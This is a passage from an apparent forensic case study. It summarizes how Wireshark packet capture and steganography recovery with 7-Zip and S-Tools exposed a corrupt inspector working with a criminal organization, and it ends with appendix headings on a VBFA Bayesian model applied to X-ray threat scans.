metadata on www.tinypics.com. The original message, which the inspector intended to send the syndi-
cate, was uncovered using 7-Zip and forensic tools such as S-Tools.

SUMMARY

Wireshark is a highly versatile tool that can be used for network packet capture and analysis. It was used
for this case study because it is an open source program and free to use under the GNU General Public
License version 2 [7]. The network administrator in this scenario can use the source code of Wireshark to
create his own version of Wireshark with the features he or she wants. That said, there are other softwares
which track online activities and can also be used in this case but they involve a high licensing fee and do
not offer all the packet analyzing features of Wireshark. Thus, the use of Wireshark for deep packet inspec-
tion allowed a forensic investigator to expose a corrupt inspector involved with a criminal Organization.
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APPENDIX A:
VBFA Machine Learning Algorithm:
Flowchart and Mathematical Derivation of VBFA Bayesian Graphical Model
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APPENDIX B:
Output of VBFA Performer on Threat and Non-threat X-Ray Scan Images
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